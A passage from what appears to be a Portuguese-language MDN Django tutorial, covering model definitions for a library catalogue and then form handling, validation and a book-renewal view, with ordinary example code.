\\*\\*Nota:\\*\\*Supondo que você usará URLs como `/ myapplication / mymodelname / 2` para exibir registros individuais para seu modelo (onde \"2\" é o `id` para um registro específico), você precisará criar um mapeador de URL para passar a resposta e id para uma \"vista detalhada do modelo\" (que fará o trabalho necessário para exibir o registro). A função `reverse ()` acima é capaz de \"inverter\" seu mapeador de url (no caso acima chamado 'model-detail-view') para criar uma URL do formato correto.\n> \n> \n> Claro que para fazer este trabalho você ainda tem que escrever o mapeamento de URL, visão e modelo!\n> \n> \n> \n\nVocê também pode definir outros métodos que desejar e chamá-los de seu código ou modelos (desde que eles não utilizem nenhum parâmetro).\n\n### Gestão de modelos\n\nDepois de definir suas classes de modelo, você pode usá-las para criar, atualizar ou excluir registros e executar consultas para obter todos os registros ou subconjuntos específicos de registros. Mostraremos como fazer isso no tutorial quando definirmos nossas visualizações, mas aqui está um breve resumo.\n\n#### Criando e modificando registros\n\nPara criar um registro, você pode definir uma instância do modelo e, em seguida, chamar `save ()`.\n\n\n```python\n# Crie um novo registro usando o construtor do modelo.\nrecord = MyModelName(my_field_name=\"Instance #1\")\n\n# Salve o objeto no banco de dados.\nrecord.save()\n```\n\n\n**Nota:** Se você não tiver declarado qualquer campo como primary\\_key, o novo registro receberá um automaticamente, com o ID do nome do campo. Você poderia consultar este campo depois de salvar o registro acima e ele teria um valor de 1.\n\nVocê pode acessar os campos nesse novo registro usando a sintaxe de ponto e alterar os valores. Você precisa chamar `save ()` para armazenar valores modificados no banco de dados.\n\n\n```python\n# Acessar valores de campo de modelo usando atributos do Python.\nprint(record.id) # should return 1 for the first record.\nprint(record.my_field_name) # should print 'Instance #1'\n\n# Altere o registro modificando os campos e, em seguida, chamando save ().\nrecord.my_field_name = \"New Instance Name\"\nrecord.save()\n```\n\n\n#### Procurando por registros\n\nVocê pode procurar registros que correspondam a um determinado critério usando o atributo de objetos do modelo (fornecido pela classe base).\n\n> \n> \\*\\*Nota:\\*\\*Explicar como procurar registros usando nomes de campos e modelos \"abstratos\" pode ser um pouco confuso. Na discussão abaixo, vamos nos referir a um modelo de livro com campos de título e gênero, onde o gênero também é um modelo com um único `nome` de campo.\n> \n> \n> \n\nPodemos obter todos os registros para um modelo como um `QuerySet`, usando `objects.all()`. O `QuerySet` é um objeto iterável, o que significa que ele contém um número de objetos que podemos iterar / percorrer.\n\n\n```python\nall_books = Book.objects.all()\n```\n\n\nO método `filter ()` do Django nos permite filtrar o `QuerySet` retornado para corresponder a um campo especificado de **texto** ou **numérico** em relação a um critério específico. Por exemplo, para filtrar por livros que contenham \"wild\" no título e, em seguida, contá-los, poderíamos fazer o seguinte.\n\n\n```python\nwild_books = Book.objects.filter(title__contains='wild')\nnumber_wild_books = Book.objects.filter(title__contains='wild').count()\n```\n\n\nOs campos a serem correspondidos e o tipo de correspondência são definidos no nome do parâmetro de filtro, usando o formato: `field_name_match_type` (observe o sublinhado duplo entre título e contém acima). Acima, estamos filtrando o título com uma correspondência de maiúsculas e minúsculas. Existem muitos outros tipos de correspondência que você pode fazer: icontains (insensitivo a maiúsculas e minúsculas), iexact (correspondência exata que não diferencia maiúsculas e minúsculas), exata (correspondência exata diferencia maiúsculas de minúsculas), gt (maior que), startswith, etc. é aqui.\n\nEm alguns casos, você precisará filtrar um campo que defina um relacionamento um-para-muitos com outro modelo (por exemplo, uma `ForeignKey`). Nesse caso, você pode \"indexar\" campos no modelo relacionado com sublinhados duplos adicionais. Por exemplo, para filtrar livros com um padrão de gênero específico, você terá que indexar o `nome` por meio do campo de `gênero`, conforme mostrado abaixo:\n\n\n```python\n# Combinará em: ficção, ficção científica, não-ficção etc.\nbooks_containing_genre = Book.objects.filter(genre__name__icontains='fiction')\n```\n\n\n**Nota:** Você pode usar sublinhados (`__`) para navegar quantos níveis de relacionamentos (`ForeignKey / ManyToManyField`) desejar. Por exemplo, um `Livro` que tinha tipos diferentes, definidos usando um relacionamento \"cover\" adicional, pode ter um nome de parâmetro: `type__cover__name__exact = 'hard'`.\n\nHá muito mais que você pode fazer com as consultas, incluindo pesquisas para trás de modelos relacionados, encadeando filtros, retornando um conjunto menor de valores, etc. Para obter mais informações, consulte Fazendo consultas (Django Docs).\n\nDefinindo os modelos LocalLibrary\n---------------------------------\n\nNesta seção, começaremos a definir os modelos para a biblioteca. Abra models.py (em / locallibrary / catalog /). O código na parte superior da página importa o módulo de models, que contém os modelos da classe base do models. Modelo do qual nossos models herdarão.\n\n\n```python\nfrom django.db import models\n\n# Create your models here.\n```\n\n### Genre model\n\nCopie o código do model `Genre` , que aparece a baixo, e cole no seu arquivo `models.py` , abaixo do código de importação. Esse model guarda informaçoes sobre a categoria do livro — por exemplo se é ficção ou não ficção, romance ou história, etc. Como mencionado acima, criamos o genero como um model em vez de um campo de texto ou um lista de seleção para que os possíveis generos criados possam ser gerenciados pelo banco de dados, em vez de serem codificados.\n```\n\nclass Genre(models.Model):\n    \"\"\"Model representing a book genre.\"\"\"\n    name = models.CharField(max_length=200, help_text='Enter a book genre (e.g. Science Fiction)')\n\n    def __str__(self):\n        \"\"\"String for representing the Model object.\"\"\"\n        return self.name\n```\n\n\nO model tem apenas um campo do tipo `CharField` (`name`), que é usado para descrever o genero (esse campo é limitado a 200 caracteres e tem um `help_text`). No final da classe Genre declaramos o metodo `__str__()` que retorna o nome do genero definido por um registro especifico. Não foi definido um argumento `verbose_name` , assim o campo será referenciado como `Name` nos forms.\n\n### Book model\n\nCopie o model Book abaixo e cole novamente ao final do seu arquivo. O model Book representa todas as informações disponíveis sobre um livro de maneira geral, mas não incluí detalhes sobre o formato do encadernamento ou disponibilidade para empréstimo. O model usa um `CharField` para representar o `title` (tílutlo) do livro e o `isbn` (veja que o `isbn` recebe um rótulo como \"ISBN\", usando o primeiro parâmetro não nomeado, porque, de outra forma, o rótulo ficaria \"Isbn\"). O model usa `TextField` para o campo `summary` porque ele precisa ser um tanto longo.\n```\n\nfrom django.urls import reverse # Used to generate URLs by reversing the URL patterns\n\nclass Book(models.Model):\n    \"\"\"Model representing a book (but not a specific copy of a book).\"\"\"\n    title = models.CharField(max_length=200)\n\n    # Foreign Key used because book can only have one author, but authors can have multiple books\n    # Author as a string rather than object because it hasn't been declared yet in the file\n    author = models.ForeignKey('Author', on_delete=models.SET_NULL, null=True)\n\n    summary = models.TextField(max_length=1000, help_text='Enter a brief description of the book')\n    isbn = models.CharField('ISBN', max_length=13, help_text='13 Character <a href=\"https://www.isbn-international.org/content/what-isbn\">ISBN number</a>')\n\n    # ManyToManyField used because genre can contain many books. Books can cover many genres.\n    # Genre class has already been defined so we can specify the object above.\n    genre = models.ManyToManyField(Genre, help_text='Select a genre for this book')\n\n    def __str__(self):\n        \"\"\"String for representing the Model object.\"\"\"\n        return self.title\n\n    def get_absolute_url(self):\n        \"\"\"Returns the url to access a detail record for this book.\"\"\"\n        return reverse('book-detail', args=[str(self.id)])\n```\n\n\nGenre é um campo `ManyToManyField`, de forma que um livro pode ter múltiplos gêneros e um gênero pode ter muitos livros. O campor Author é declarado como um `ForeignKey`, logo, cada livro terá somente um autor, mas um autor por der muitos livros (na prática, um livro pode ter múltiplos autores, mas não nesta implementação!)\n\nEm ambos tipos de campo, a classe model relacionada é declarada como primeiro campo não nomeado usando a classe model ou contendo o nome do modelo relacionado. Você deve usar o nome do model como uma string se a classe associada ainda não tiver sido definida no arquivo, antes de referenciá-la. Outro parâmetro de interesse no campo `author` é `null=True`, o qual permite ao banco de dados armazer um valor `Null` se nenhum autor for selecionado, e, `on_delete=models.SET_NULL`, o qual definirá o valor `author` como `Null` se o registro do autor associado for excluído.\n\nO mode também defini `__str__()`, usando o `title` do livro para representar o registro do `Book`. O método final, `get_absolute_url()`, retorna a URL que pode ser usada para acessar o registro detalhado deste modelo (para que isto funcione, teremos que definir um mapa de URL com o nome `book-detail` e associá-la a uma view e a um template.).\n\n### BookInstance model\n\nEm seguida, copie o modelo `BookInstance` (exibido a abaixo) depois dos outros modelos. O `BookInstance` representa um exemplar específico do livro que pode ser emprestado, indica se ela está disponível ou a data programada de restituição, \"imprint\" ou detalhes da versão, e, um id único do livro na biblioteca.\n\nAlguns dos campos e métodos serão familiares agora. O model usa\n\n* `ForeignKey` para identificar o `Book` associado (cada livro pode ter muitos exemplares, porém uma cópia pode ter sometne um `Book`).\n* `CharField` para representar o imprint (edição específica) do livro.\n\n\n```python\nimport uuid # Required for unique book instances\n\nclass BookInstance(models.Model):\n    \"\"\"Model representing a specific copy of a book (i.e. that can be borrowed from the library).\"\"\"\n    id = models.UUIDField(primary_key=True, default=uuid.uuid4, help_text='Unique ID for this particular book across whole library')\n    book = models.ForeignKey('Book', on_delete=models.SET_NULL, null=True)\n    imprint = models.CharField(max_length=200)\n    due_back = models.DateField(null=True, blank=True)\n\n    LOAN_STATUS = (\n        ('m', 'Maintenance'),\n        ('o', 'On loan'),\n        ('a', 'Available'),\n        ('r', 'Reserved'),\n    )\n\n    status = models.CharField(\n        max_length=1,\n        choices=LOAN_STATUS,\n        blank=True,\n        default='m',\n        help_text='Book availability',\n    )\n\n    class Meta:\n        ordering = ['due\\_back']\n\n    def \\_\\_str\\_\\_(self):\n        \"\"\"String for representing the Model object.\"\"\"\n        return f'{self.id} ({self.book.title})'\n```\n\n\nNós declaramos adicionalmente alguns tipos novos de campos:\n\n* `UUIDField` é usado no campo `id` para definí-lo como `primary_key` deste model. Este tipo de campo aloca um valor único global para cada instância (um para cada livro encontrado na biblioteca).\n* `DateField` é usado para a data `due_back` (na qual o livro deve retonar e ficar disponível após um empréstimo ou uma manutenção). O valor pode ser `blank` ou `null` (para quando o livro estiver disponível). O model metadata (`Class Meta`) usa este campo para ordenar os registros quando eles são retornados em uma query.\n* `status` é um `CharField` que define uma lista de opção/seleção. Como pode ser visto, nós definimos uma dupla contendo pares de valores-chave e a passamos no argumento da opção. O valor do par valor-chave é um valor que o usuário pode selecionar, enquanto que a chave é o valor que realmetne será salvo se a opção for selecionada. Nós também definimos um valor default como \"m\" (maintenance), uma vez que os livros serão inicialmente criados como indisponíveis até que eles sejam disponibilizados nas prateleiras.\n\nO model `__str__()` representa o objeto `BookInstance` usando a combinação do seu id único e o título do `Book` associado.\n\n**Nota:** Um pouco sobre Python:\n\n* Começando com Python 3.6, pode ser usada a sintaxe de interpolação (também conhecida como f-strings): `f'{self.id} ({self.book.title})'`.\n* Em versões anteriores deste tutorial, nós estávamos usando a sintaxe de formatted string, a qual também é uma maneira válida de formatar strings em Python (e.g. `'{0} ({1})'.format(self.id,self.book.title)`).\n\n### Author model\n\nCopie o model `Author` (exibido abaixo) na sequência do código existente em **models.py**.\n\nTodos os campos/métodos já devem ser familiares agora. O model define um autor como tendo um nome, sobrenome, data de nascimento e data de morte (opcionalmente). Ele especifica que `__str__()` retorna por default sobrenome e nome, nesta ordem. O método `get_absolute_url()` reverte o mapaeamento da URL `author-detail` para obter a URL de display individual author.\n\n\n```python\nclass Author(models.Model):\n    \"\"\"Model representing an author.\"\"\"\n    first_name = models.CharField(max_length=100)\n    last_name = models.CharField(max_length=100)\n    date_of_birth = models.DateField(null=True, blank=True)\n    date_of_death = models.DateField('Died', null=True, blank=True)\n\n    class Meta:\n        ordering = ['last\\_name', 'first\\_name']\n\n    def get\\_absolute\\_url(self):\n        \"\"\"Returns the url to access a particular author instance.\"\"\"\n        return reverse('author-detail', args=[str(self.id)])\n\n    def \\_\\_str\\_\\_(self):\n        \"\"\"String for representing the Model object.\"\"\"\n        return f'{self.last\\_name}, {self.first\\_name}'\n```\n\nRode novamente a migração do banco de dados\n-------------------------------------------\n\nTodos os modelos foram criados. Agora rode a migração do banco de dados para adicioná-los ao seu banco de dados.\n```\n\npython3 manage.py makemigrations\npython3 manage.py migrate\n```\n\nLanguage model — desafio\n------------------------\n\nConsidere que um benfeitor local doe uma quantidade de livros escritos em outro idioma (digamos, Farsi). O desafio é desenvolver como eles seriam melhor representados no website da nossa biblioteca, e, então, adicioná-lo no models.\n\nAlgumas coisas a considerar:\n\n* O idioma seria associado ao `Book`, `BookInstance`, ou algum outro objeto?\n* Os diferentes idiomas seriam representados usando model, como campo de texto livre ou codificado como uma lista de seleção?\n\nDepois de decidido, adicione o campo. Pode ser visto o que decidimos no Github aqui.\n\nResumo\n------\n\nNeste artículo vimos como os models são definidos, e, então, usamos esta informação para desenhar e implementar modelos apropriados para o website *LocalLibrary*.\n\nNeste ponto faremos um rápido desvio da criação do site para ver o *Django Administration site*. Este site nos permitirá adicionar alguns dados à biblioteca, os quais podemos então exibir usando nossos próprios views e templates (ainda não criados).\n\nVeja também\n-----------\n\n* Escrevendo nossa primeira app Django, parte 2 (Django docs)\n* Fazendo queries (Django Docs)\n* Referência a QuerySet API (Django Docs)\n* Anterior\n* Menu: Django\n* Próxima"}
{"title":"Tutorial Django Parte 9: Trabalhando com formulários - Aprendendo desenvolvimento web","text":"Tutorial Django Parte 9: Trabalhando com formulários\n====================================================\n\n* Anterior  (en-US)\n* Menu: Django\n* Próxima\n\nNeste tutorial, vamos te mostrar como trabalhar com formulários HTML no Django e, em particular, a maneira mais fácil de programar formulários para criar, alterar e excluir instâncias de modelos. Como parte desta demonstração, vamos estender o site da BibliotecaLocal para que bibliotecários possam renovar reservas e criar, alterar e excluir autores usando nossos próprios formulários em vez do \"admin\" do Django.\n\n|  |  |\n| --- | --- |\n| Pré-requisitos: | \n Completar todos os tópicos anteriores deste tutorial, incluindo\n Django Tutorial Parte 8: Autenticação e Permissões de Usuário (en-US).\n  |\n| Objetivo: | \n Entender como programar formulários para obter informações dos\n usuários e atualizar a base de dados. Entender como as\n *views* genéricas de edição de formulários baseadas em classes\n podem simplificar a criação de formulários para trabalhar com um único\n *model*.\n  |\n\nVisão Geral\n-----------\n\nUm Formulário HTML é um grupo de um ou mais campos/*widgets* em uma página web, que podem ser utilizados para coletar informações dos usuários para submetê-las a um servidor. Formulários são um mecanismo flexível para coletar input de usuário porque há *widgets* adequados para entrada de variados tipos de dados, incluindo caixas de texto, caixas de seleção, botões radiais, seletores de data etc. Formulários são também um meio relativamente seguro de compartilhar dados com o servidor, pois nos permitem enviar dados em requisições `POST` com proteção contra ataques maliciosos **CSRF** (***Cross-Site Request Forgery*** - em inglês, falsificação de solicitação entre sites).\n\nApesar de ainda não termos criado formulários até o momento neste tutorial, já os encontramos na página do Django Admin — por exemplo, a captura de tela abaixo mostra um formulário para editar um dos nossos modelos de Livros, incluindo algumas listas de seleção e editores de texto.\n\n![Admin Site - Book Add](/pt-BR/docs/Learn/Server-side/Django/Forms/admin_book_add.png)\n\nTrabalhar com formulários pode ser complicado! Desenvolvedores precisam escrever HTML para o formulário, validar e limpar dados submetidos ao servidor (e possivelmente também ao navegador), programar mensagens de erro no formulário para informar o usuário de quaisquer preenchimentos inválidos, lidar com os dados quando enviados com sucesso e, finalmente, mostrar ao usuário algum indicativo de sucesso. Os *Django Forms* adiantam boa parte desses passos disponibilizando uma estrutura que permite a você definir formulários e seus campos programaticamente, e então utilizar esses objetos tanto para gerar o código HTML do formulário como para cuidar de boa parte da validação e interação de usuário.\n\nNeste tutorial, vamos te mostrar alguns dos métodos para se criar e trabalhar com formulários e, em particular, como as *views* genéricas de edição de formulários podem reduzir significativamente o seu trabalho ao criar formulários para manipular seus *models*. Ao longo do caminho, vamos estender nossa aplicação *LocalLibrary* adicionando um formulário que permita que bibliotecários renovem locações de livros, e vamos construir páginas para criar, alterar e excluir livros e autores (reproduzindo uma versão básica do formulário exibido acima para alterar livros).\n\nFormulários HTML\n----------------\n\nAntes de mais nada, um breve resumo de Formulários HTML (en-US). Considere um formulário HTML simples, com um único campo de texto para entrada do nome de uma \"equipe\", e sua respectiva legenda:\n\n![Simple name field example in HTML form](/pt-BR/docs/Learn/Server-side/Django/Forms/form_example_name_field.png)\n\nO formulário é definido no HTML como uma coleção de elementos dentro das tags `<form>...</form>`, contendo ao menos um elemento `input` do tipo `type=\"submit\"`.\n\n\n```html\n<form action=\"/team\\_name\\_url/\" method=\"post\">\n  <label for=\"team\\_name\">Enter name: </label>\n  <input\n id=\"team\\_name\"\n type=\"text\"\n name=\"name\\_field\"\n value=\"Default name for team.\" />\n  <input type=\"submit\" value=\"OK\" />\n</form>\n```\n\n\nApesar de aqui nós termos um único para inserir o nome da equipe, um formulário pode ter qualquer quantidade de outros elementos de entrada e suas respectivas legendas. O atributo `type` de um campo define que tipo de widget será exibido. O `name` e o `id` de cada campo são utilizados para identificá-lo no JavaScript/CSS/HTML, enquanto `value` define o valor preenchido inicialmente no campo quando ele é exibido pela primeira vez. A legenda da equipe é especificada usando a tag `label` (veja \"Enter name\" na imagem acima), com um atributo `for` contendo o valor de `id` do `input` a ele associado.\n\nA entrada `submit` será exibida como um botão (por padrão) que pode ser pressionado pelo usuário para enviar ao servidor os dados preenchidos em todos os outros elementos de entrada naquele formulário (neste caso, apenas `team_name`). Os atributos do formulário definem o método HTTP (`method`) utilizado para enviar os dados e o destino para esses dados no servidor (`action`):\n\n* `action`: O recurso/URL para onde os dados devem ser enviados para processamento quando o formulário é enviado. Se isso não estiver configurado (ou configurado para uma string vazia), o formulário será enviado de volta para URL da página atual.\n* `method`: O método HTTP method utilizado para enviar os dados: *post* or *get*.\n    + O método `POST` deve sempre ser utilizado se os dados forem resultar em uma alteração no banco de dados do servidor, pois é mais resistente a ataques de falsificação de solicitação entre sites.\n    + O método `GET` deve ser utilizado somente para formulários que não alteram dados de usuário (um formulário de busca, por exemplo). Ele é recomendado para quando você quiser poder favoritar ou compartilhar a URL.\n\nO papel do servidor é primeiramente carregar o estado inicial do formulário — seja contendo campos em branco ou preenchidos com valores iniciais. Após o usuário clicar no botão de envio, o servidor receberá do navegador os dados do formulário preenchido e deverá validar as informações. Se o formulário contiver dados inválidos, o servidor deverá exibir o formulário novamente, desta vez já com os valores enviados pelo usuário nos campos preenchidos corretamente, mais uma mensagem descrevendo o problema encontrado em cada campo considerado inválido. Uma vez que o servidor receber uma requisição do formulário com todos os dados válidos, poderá exercer a ação apropriada (por exemplo, salvar os dados, retornar o resultado de uma busca, subir um arquivo etc) e então notificar o usuário.\n\nComo você pode imaginar, as ações de criar o HTML, validar os dados recebidos, re-exibir os dados enviados com mensagens de erro se necessário e realizar a operação desejada com os dados válidos podem todas tomar bastante tempo e esforço. O Django torna tudo isso muito mais fácil, adiantando parte do \"trabalho braçal\" e código repetitivo!\n\nProcesso de manipulação de formulários Django\n---------------------------------------------\n\nO tratamento de formulários do Django usa todas as mesmas técnicas que aprendemos nos tutoriais anteriores (para exibir informações sobre nossos modelos): a view recebe uma solicitação, executa todas as ações necessárias, incluindo a leitura de dados dos modelos, gera e retorna uma página HTML ( de um modelo, no qual passamos um *contexto* que contém os dados a serem exibidos). O que torna as coisas mais complicadas é que o servidor também precisa processar dados fornecidos pelo usuário e exibir novamente a página se houver algum erro.\n\nUm fluxograma do processo de como o Django lida com solicitações de formulário é mostrado abaixo, começando com uma solicitação para uma página contendo um formulário (mostrado em verde).\n\n![Updated form handling process doc.](/pt-BR/docs/Learn/Server-side/Django/Forms/form_handling_-_standard.png)\n\nCom base no diagrama acima, as principais coisas que o manuseio de formulários do Django faz são:\n\n1. Exiba o formulário padrão na primeira vez em que for solicitado pelo usuário\n    * O formulário pode conter campos em branco (por exemplo, se você estiver criando um novo registro) ou pode ser preenchido previamente com valores iniciais (por exemplo, se você estiver alterando um registro ou tiver valores iniciais padrão úteis).\n    * O formulário é referido como *unbound* neste momento, porque não está associado a nenhum dado inserido pelo usuário (embora possa ter valores iniciais).\n2. Receba dados de uma solicitação de envio e vincule-os ao formulário.\n    * Vincular dados ao formulário significa que os dados inseridos pelo usuário e quaisquer erros estão disponíveis quando precisamos exibir novamente o formulário.\n3. Limpe e valide os dados.\n    * A limpeza dos dados executa a higienização da entrada (por exemplo, removendo caracteres inválidos que podem ser usados para enviar conteúdo malicioso ao servidor) e os converte em tipos consistentes de Python.\n    * A validação verifica se os valores são apropriados para o campo (por exemplo, estão no período certo, não são muito curtos ou muito longos etc.)\n4. Se algum dado for inválido, exiba novamente o formulário, desta vez com valores preenchidos pelo usuário e mensagens de erro para os campos problemáticos.\n5. Se todos os dados forem válidos, execute as ações necessárias (por exemplo, salve os dados, envie e envie por e-mail, retorne o resultado de uma pesquisa, faça o upload de um arquivo etc.)\n6. Quando todas as ações estiverem concluídas, redirecione o usuário para outra página.\n\nO Django fornece várias ferramentas e abordagens para ajudá-lo nas tarefas detalhadas acima. O mais fundamental é a classe `Form`, o que simplifica a geração de HTML de formulário e a limpeza/validação de dados. Na próxima seção, descreveremos como os formulários funcionam usando o exemplo prático de uma página para permitir que os bibliotecários renovem os livros.\n\n**Nota:** Entendendo como `Form` é usado para ajudá-lo quando discutirmos as classes de estrutura de formulário mais \"de alto nível\" do Django.\n\nRenew-book form usando uma function view\n----------------------------------------\n\nEm seguida, adicionaremos uma página para permitir que os bibliotecários renovem os livros emprestados. Para fazer isso, criaremos um formulário que permita aos usuários inserir um valor de data. Preencheremos o campo com um valor inicial três semanas a partir da data atual (o período normal de empréstimo) e adicionaremos alguma validação para garantir que o bibliotecário não possa inserir uma data no passado ou uma data muito distante no futuro. Quando uma data válida for inserida, nós a escreveremos no registro atual no campo `BookInstance.due_back`.\n\nO exemplo usará uma function-based view e uma classe `Form`. As seções a seguir explicam como os formulários funcionam e as alterações que você precisa fazer em nosso projeto *LocalLibrary*.\n\n### Form\n\nA classe `Form` é o coração do sistema de manipulação de formulários do Django. Ele especifica os campos no formulário, seu layout, exibe widgets, rótulos, valores iniciais, valores válidos e (uma vez validadas) as mensagens de erro associadas a campos inválidos. A classe também fornece métodos para renderizar-se em modelos usando formatos predefinidos (tabelas, listas etc.) ou para obter o valor de qualquer elemento (habilitando a renderização manual refinada).\n\n#### Declarando um Form\n\nA sintaxe da declaração para um `Form` é muito semelhante ao da declaração de um `Model`, e compartilha os mesmos tipos de campo (e alguns parâmetros semelhantes). Isso faz sentido porque, em ambos os casos, precisamos garantir que cada campo lide com os tipos corretos de dados, seja restrito a dados válidos e tenha uma descrição para exibição/documentação.\n\nOs dados do formulário são armazenados no arquivo forms.py de um aplicativo, dentro do diretório do aplicativo. Crie e abra o arquivo **locallibrary/catalog/forms.py**. Para criar um `Form`, nós importamos a biblioteca `forms`, deriva da classe `Form`, e declarar os campos do formulário. Uma classe de formulário muito básica para nosso formulário de renovação de livros da biblioteca é mostrada abaixo - adicione-a ao seu novo arquivo:\n\n\n```python\nfrom django import forms\n\nclass RenewBookForm(forms.Form):\n    renewal_date = forms.DateField(help_text=\"Enter a date between now and 4 weeks (default 3).\")\n```\n\n\n#### Campos do Form\n\nNesse caso, temos um único `DateField` para inserir a data de renovação que será renderizada em HTML com um valor em branco, o valor padrão da label \"*Renewal date:*\", e algum texto de ajuda: \"*Enter a date between now and 4 weeks (default 3 weeks).*\" Como nenhum dos outros argumentos opcionais é especificado, o campo aceita datas usando o input\\_formats: YYYY-MM-DD (2016-11-06), MM/DD/YYYY (02/26/2016), MM/DD/YY (10/25/16), e será renderizado usando o padrão widget: DateInput.\n\nExistem muitos outros tipos de campos de formulário que você reconhecerá amplamente por sua semelhança com as classes de campo de modelo equivalentes: `BooleanField`, `CharField`, `ChoiceField`, `TypedChoiceField`, `DateField`, `DateTimeField`, `DecimalField`, `DurationField`, `EmailField`, `FileField`, `FilePathField`, `FloatField`, `ImageField`, `IntegerField`, `GenericIPAddressField`, `MultipleChoiceField`, `TypedMultipleChoiceField`, `NullBooleanField`, `RegexField`, `SlugField`, `TimeField`, `URLField`, `UUIDField`, `ComboField`, `MultiValueField`, `SplitDateTimeField`, `ModelMultipleChoiceField`, `ModelChoiceField`.\n\nOs argumentos comuns à maioria dos campos estão listados abaixo (estes têm valores padrão sensíveis):\n\n* required: Se `True`, o campo não pode ser deixado em branco ou receber um valor `None`. Os campos são obrigatórios por padrão, então você deve definir `required=False` para permitir valores em branco no formulário.\n* label: O label a ser usado ao renderizar o campo em HTML. Se um label não for especificado, o Django criará um a partir do nome do campo colocando em maiúscula a primeira letra e substituindo sublinhados por espaços (e.g. *Renewal date*).\n* label\\_suffix: Por padrão, dois pontos são exibidos após o rótulo (e.g. Renewal date\\*\\*:\\*\\*). Esse argumento permite especificar um sufixo diferente contendo outros caractere(s).\n* initial: O valor inicial para o campo quando o formulário é exibido.\n* widget: O widget de exibição a ser usado.\n* help\\_text (como visto no exemplo acima): Texto adicional que pode ser exibido em formulários para explicar como usar o campo.\n* error\\_messages: Uma lista de mensagens de erro para o campo. Você pode substituí-los por suas próprias mensagens, se necessário.\n* validators: Uma lista de funções que serão chamadas no campo quando validadas.\n* localize:Permite a localização da entrada de dados do formulário (consulte o link para obter mais informações).\n* disabled: O campo é exibido, mas seu valor não pode ser editado se este for `True`. O padrão é `False`.\n\n#### Validação\n\nO Django fornece vários locais onde você pode validar seus dados. A maneira mais fácil de validar um único campo é substituir o método `clean_<fieldname>()` para o campo que você deseja verificar. Por exemplo, podemos validar esse valor inserido `renewal_date` daqui a quatro semanas, implementando `clean_renewal_date()` como mostrado abaixo.\n\nAtualize seu arquivo forms.py para ficar assim:\n\n\n```python\nimport datetime\n\nfrom django import forms\nfrom django.core.exceptions import ValidationError\nfrom django.utils.translation import ugettext_lazy as _\n\nclass RenewBookForm(forms.Form):\n    renewal_date = forms.DateField(help_text=\"Enter a date between now and 4 weeks (default 3).\")\n\n    def clean\\_renewal\\_date(self):\n        data = self.cleaned_data['renewal\\_date']\n\n        # Check if a date is not in the past.\n        if data < datetime.date.today():\n            raise ValidationError(_('Invalid date - renewal in past'))\n\n        # Check if a date is in the allowed range (+4 weeks from today).\n        if data > datetime.date.today() + datetime.timedelta(weeks=4):\n            raise ValidationError(_('Invalid date - renewal more than 4 weeks ahead'))\n\n        # Remember to always return the cleaned data.\n        return data\n```\n\n\nHá duas coisas importantes a serem observados. A primeira é que temos nossos dados usando `self.cleaned_data['renewal_date']` e que nós retornaremos esses dados ou não podemos alterá-lo no final da função. Este passo nos leva a dados \"limpos\" e higienizados de potencialmente inseguro usando os validadores de entrada padrão e convertidos para o tipo padrão correto para os dados (neste caso, um objeto Python `datetime.datetime`).\n\nO segundo ponto é que, se um valor cai fora da nossa gama que levanta um `ValidationError`, especificando o texto de erro que deseja exibir no formulário se um valor inválido for inserido. Os exemplos acima também envolvem este texto em um dos Django's translation functions `ugettext_lazy()` (importado como `_()`), que é uma boa prática se você quiser traduzir o seu site mais tarde.\n\n**Nota:** Existem muitos outros exemplos e métodos para validar os forms Form e field validation (Django docs). Por exemplo, nos casos em que você tem vários campos que dependem uns dos outros, você pode substituir a função Form.clean() e novamente levantar uma `ValidationError`.\n\nIsso é tudo que necessitamos para o form neste exemplo?\n\n### Configuração da URL\n\nAntes de criar nossa view, vamos adicionar a configuração da URL para a pagina *renew-books*. Copie a seguinte configuração para o final do aquivo **locallibrary/catalog/urls.py**.\n\n\n```python\nurlpatterns += [\n    path('book/<uuid:pk>/renew/', views.renew_book_librarian, name='renew-book-librarian'),\n]\n```\n\n\nA configuração da URL irá redirecionar as URLs com o formato **/catalog/book/*<bookinstance id>*/renew/** para a função chamada `renew_book_librarian()` em **views.py**, e enviar o id `BookInstance` como parâmetro nomeado `pk`. O padrão corresponde apenas se `pk` estiver com a formatação `uuid` correta.\n\n**Nota:** Podemos citar nos nossos dados capturados na URL \"`pk`\" qualquer coisa que quisermos, porque nós temos o controle completo sobra a função view (nós não estamos usando uma view detail genérica, onde se espera os parâmetros com um certo nome). Contudo, a abreviação `pk` para \"chave primária\", é uma convenção razoável para uso!\n\n### View\n\nComo discutido no processo de manipulação de formulários Django acima, a view renderizará o formulário padrão chamado pela primeira vez e então retorná-lo com mensagens de erro se os dados forem inválidos, ou processar os dados e redirecioná-lo para uma nova página se os dados forem válidos.A fim de executar essas ações diferentes, a view deve ser capas de saber se está sendo chamada pela primeira vez para renderizar o form padrão ou um subsequente para a validação dos dados.\n\nPara forms que usam uma solicitação `POST` para enviar informações para o servidor, o padrão mais comum para a view é testar se o tipo de solicitação é `POST` (`if request.method == 'POST':`) para identificar requisições válidas de formulário e `GET` (usando uma condição `else`) para identificar a requisição de criação do form inicial. Se você deseja enviar seus dados usando uma reuquisição `GET` uma abordagem típica para identificar se é a primeira ou subsequente requisição é ler os dados do formulário (por exemplo, ler um valor oculto no form).\n\nO processo de renovação de livros será gravado em nosso banco de dados, portanto, por convenção, usamos a abordagem de requisição `POST`. O fragmento de código abaixo mostra o padrão (bem padrão) para esse tipo de exibição de função.\n\n\n```python\nimport datetime\n\nfrom django.shortcuts import render, get_object_or_404\nfrom django.http import HttpResponseRedirect\nfrom django.urls import reverse\n\nfrom catalog.forms import RenewBookForm\n\ndef renew\\_book\\_librarian(request, pk):\n    book_instance = get_object_or_404(BookInstance, pk=pk)\n\n    # If this is a POST request then process the Form data\n    if request.method == 'POST':\n\n        # Create a form instance and populate it with data from the request (binding):\n        form = RenewBookForm(request.POST)\n\n        # Check if the form is valid:\n        if form.is_valid():\n            # process the data in form.cleaned\\_data as required (here we just write it to the model due\\_back field)\n            book_instance.due_back = form.cleaned_data['renewal\\_date']\n            book_instance.save()\n\n            # redirect to a new URL:\n            return HttpResponseRedirect(reverse('all-borrowed') )\n\n    # If this is a GET (or any other method) create the default form.\n    else:\n        proposed_renewal_date = datetime.date.today() + datetime.timedelta(weeks=3)\n        form = RenewBookForm(initial={'renewal\\_date': proposed_renewal_date})\n\n    context = {\n        'form': form,\n        'book\\_instance': book_instance,\n    }\n\n    return render(request, 'catalog/book\\_renew\\_librarian.html', context)\n```\n\n\nPrimeiro, importamos nosso formulário (`RenewBookForm`) e outros objetos/métodos úteis usados no corpo da função *view*:\n\n* `get_object_or_404()`: Retorna um objeto especificado de um modelo com base em seu valor de 